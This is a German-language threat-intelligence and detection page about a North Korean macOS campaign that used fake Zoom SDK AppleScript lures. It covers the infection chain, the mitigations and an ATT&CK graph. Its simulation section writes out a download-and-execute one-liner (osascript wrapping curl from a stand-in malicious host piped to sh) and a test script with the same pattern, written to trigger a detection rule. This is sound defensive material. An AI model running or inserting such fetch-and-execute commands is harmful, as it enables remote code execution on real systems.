SOC Prime Bias: Kritisch

17 Apr. 2026 18:42

Dissektion von Sapphire Sleet’s macOS-Einbruch vom Köder zur Kompromittierung

Author Photo
SOC Prime Team linkedin icon Folgen
Dissektion von Sapphire Sleet’s macOS-Einbruch vom Köder zur Kompromittierung
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

Microsoft Threat Intelligence hat eine auf macOS fokussierte Kampagne gemeldet, die dem nordkoreanischen staatlich geförderten Akteur Sapphire Sleet zugeschrieben wird. Der Betrieb stützt sich auf Social Engineering, um Ziele dazu zu bringen, bösartige AppleScript-Dateien auszuführen, die als legitimes Zoom SDK-Update präsentiert werden. Nach der Ausführung ruft das Skript zusätzliche Nutzlasten durch curl and osascriptab und erweitert den Einbruch in mehreren Stufen. Die Malware ist darauf ausgelegt, Anmeldedaten, Daten von Kryptowährungs-Wallets und andere sensible Informationen zu stehlen und gleichzeitig die nativen Sicherheitsvorkehrungen von macOS zu umgehen, um auf kompromittierten Systemen aktiv zu bleiben.

Untersuchung

Die Untersuchung skizziert eine mehrstufige Infektionskette, die mit einer .scpt Lockdatei beginnt und sich durch eine Reihe von curl-bis-osascript Nutzlast-Downloads fortsetzt. Forscher identifizierten mehrere Backdoor-Komponenten, darunter com.apple.cli, eine Dienst-Binärdatei, icloudzund com.google.chromes.updaters. Die Bedrohungsakteure wurden auch dabei beobachtet, wie sie in der macOS TCC-Datenbank Manipulationen vornahmen, um AppleEvents-Berechtigungen zu erhalten, reflektierende Code-Ladungstechniken einsetzten und durch einen Start-Daemon Persistenz erreichten. Die Exfiltrationsaktivität beruhte auf benutzerdefinierten User-Agent-Strings und der Kommunikation über die Telegram Bot API.

Abmilderung

Apple hat bereits Safe Browsing- und XProtect-Updates veröffentlicht, um die Infrastruktur der Kampagne und die Malware-Komponenten zu stören. Microsoft empfiehlt, die Ausführung von .scpt Dateien zu blockieren, unsichere curl Pipelines einzuschränken, nicht autorisierte Änderungen an der TCC-Datenbank zu überwachen und Installationen von Start-Daemons auf verdächtige Einträge zu prüfen. Benutzer sollten auch vor ungerechtfertigten Software-Update-Aufforderungen gewarnt werden und keine Anmeldedaten über unerwartete Dialoge oder Skripte bereitstellen.

Reaktion

Verteidiger sollten die Ausführung bösartiger AppleScript, anomale curl User-Agent-Strings und ausgehende Verbindungen zu bekannten Command-and-Control-Domains erkennen. Alle identifizierten Binärdateien und Start-Daemons sollten sofort unter Quarantäne gestellt oder entfernt werden, gefolgt von Anmeldedatensatz-Rücksetzungen für betroffene Nutzer und der Validierung der TCC-Datenbank-Integrität. Incident-Responder sollten auch forensische Analysen an gesammelten Systemartefakten durchführen und betroffene Daten aus sauberen Backups wiederherstellen, wo immer nötig.

graph TB %% Class definitions classDef technique fill:#99ccff classDef operator fill:#ff9900 %% Technique nodes tech_user_execution[„<b>Technik</b> – <b>T1204.002 Benutzer-Ausführung: Bösartige Datei</b><br/><b>Beschreibung</b>: Opfer werden dazu verleitet, eine schädliche Datei auszuführen, die den Angriff startet.“] class tech_user_execution technique tech_trusted_dev_proxy[„<b>Technik</b> – <b>T1127 Proxy-Ausführung über vertrauenswürdige Entwicklerwerkzeuge</b><br/><b>Beschreibung</b>: Legitime Entwicklerwerkzeuge werden als Proxy genutzt, um Schadcode auszuführen und Sicherheitsmechanismen zu umgehen.“] class tech_trusted_dev_proxy technique tech_subvert_trust[„<b>Technik</b> – <b>T1553 Vertrauensmechanismen unterlaufen</b><br/><b>Beschreibung</b>: Angreifer manipulieren Vertrauensbeziehungen oder Konfigurationen, um erhöhte Rechte zu erlangen oder Code auszuführen.“] class tech_subvert_trust technique tech_launch_daemon[„<b>Technik</b> – <b>T1543.004 Systemprozess erstellen oder ändern: Launch Daemon</b><br/><b>Beschreibung</b>: Ein neuer Daemon wird erstellt oder ein bestehender geändert, um Persistenz zu erreichen.“] class tech_launch_daemon technique tech_alt_auth_material[„<b>Technik</b> – <b>T1550 Verwendung alternativer Authentifizierungsdaten</b><br/><b>Beschreibung</b>: Gestohlene oder gefälschte Anmeldedaten werden verwendet, um sich als legitimer Benutzer auszugeben.“] class tech_alt_auth_material technique tech_archive_lib[„<b>Technik</b> – <b>T1560.002 Archivierung gesammelter Daten: über Bibliothek</b><br/><b>Beschreibung</b>: Daten werden vor der Exfiltration mit einer Softwarebibliothek komprimiert.“] class tech_archive_lib technique tech_exfil_alt_proto[„<b>Technik</b> – <b>T1048 Exfiltration über alternative Protokolle</b><br/><b>Beschreibung</b>: Daten werden über nicht standardisierte Protokolle wie DNS oder FTP übertragen.“] class tech_exfil_alt_proto technique tech_dynamic_resolution[„<b>Technik</b> – <b>T1568 Dynamische Auflösung</b><br/><b>Beschreibung</b>: C2-Infrastruktur wird zur Laufzeit aufgelöst.“] class tech_dynamic_resolution technique tech_reflective_loading[„<b>Technik</b> – <b>T1620 Reflektives Laden von Code</b><br/><b>Beschreibung</b>: Schadcode wird direkt in den Speicher geladen.“] class tech_reflective_loading technique tech_system_binary_proxy[„<b>Technik</b> – <b>T1218.003 Proxy-Ausführung über Systembinärdateien</b><br/><b>Beschreibung</b>: Vertrauenswürdige Systemdateien werden zur Ausführung von Schadcode verwendet.“] class tech_system_binary_proxy technique tech_modify_auth_process[„<b>Technik</b> – <b>T1556.001 Authentifizierungsprozess ändern</b><br/><b>Beschreibung</b>: Authentifizierungsmechanismen werden manipuliert.“] class tech_modify_auth_process technique %% Connections tech_user_execution –>|leads_to| tech_trusted_dev_proxy tech_trusted_dev_proxy –>|enables| tech_subvert_trust tech_subvert_trust –>|creates| tech_launch_daemon tech_launch_daemon –>|uses| tech_alt_auth_material tech_alt_auth_material –>|prepares| tech_archive_lib tech_archive_lib –>|triggers| tech_exfil_alt_proto tech_exfil_alt_proto –>|facilitates| tech_dynamic_resolution tech_subvert_trust –>|employs| tech_reflective_loading tech_reflective_loading –>|updates| tech_launch_daemon tech_trusted_dev_proxy –>|leverages| tech_system_binary_proxy tech_system_binary_proxy –>|leads_to| tech_subvert_trust tech_alt_auth_material –>|supports| tech_modify_auth_process tech_modify_auth_process –>|continues| tech_exfil_alt_proto

Angriffsfluss

Ausführung der Simulation

Voraussetzung: Der Telemetrie- und Basislinien-Vorabkontrolle muss bestanden sein.

Begründung: Dieser Abschnitt beschreibt die präzise Ausführung der gegnerischen Technik (TTP), die zur Auslösung der Erkennungsregel entwickelt wurde. Die Befehle und die Erzählung MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genaue Telemetrie zu generieren, die von der Erkennung erwartet wird.

  • Angriffserzählung & Befehle:
    Ein Angreifer hat ein bösartiges PowerShell-ähnliches Skript auf einem entfernten Server erhalten. Um die Erstellung einer eigenständigen Binärdatei zu vermeiden, nutzen sie die native AppleScript-Interpretationsumgebung (osascript) und leiten einen curl Download direkt in den Interpreter und erreichen so ein „Herunterladen-und-Ausführen“ in einem Befehl. Dies entspricht dem Muster der Regel osascript + curl .

    # Bösartiger Einzeiler, der die Regel auslösen sollte
    osascript -e 'do shell script "curl -s https://malicious.example.com/payload.sh | sh"'

    Die Befehlszeile enthält sowohl osascript and curl, sodass die Bedingung der Sigma-Regel (selection_osascript und selection_curl) zu wahr evaluiert wird.

  • Regressionstestszenario:

    # simulate_osascript_curl.sh
    # Zweck: Reproduzieren Sie die genaue Telemetrie, die die Erkennungsregel auslösen sollte.
    set -e
    
    # Definieren Sie eine harmlose Nutzlast zur Sicherheit (echo anstelle von tatsächlichem bösartigem Code)
    MALICIOUS_URL="https://example.com/benign_payload.sh"
    
    # Erstellen Sie eine Dummy-Nutzlast, die einfach eine Nachricht ausgibt.
    # In einem realen Red-Team-Test würden Sie ein echtes Skript hosten; hier behalten wir es sicher.
    curl -s -o /tmp/benign_payload.sh "$MALICIOUS_URL" || true
    
    # Führen Sie das AppleScript mit Curl, das in einen Shell-Befehl gepiped wird, aus.
    osascript -e "do shell script "curl -s $MALICIOUS_URL | sh""
  • Bereinigungskommandos:

    # cleanup_osascript_curl.sh
    # Entfernen Sie alle temporären Dateien und beenden Sie umherirrende Prozesse.
    rm -f /tmp/benign_payload.sh
    pkill -f "osascript -e"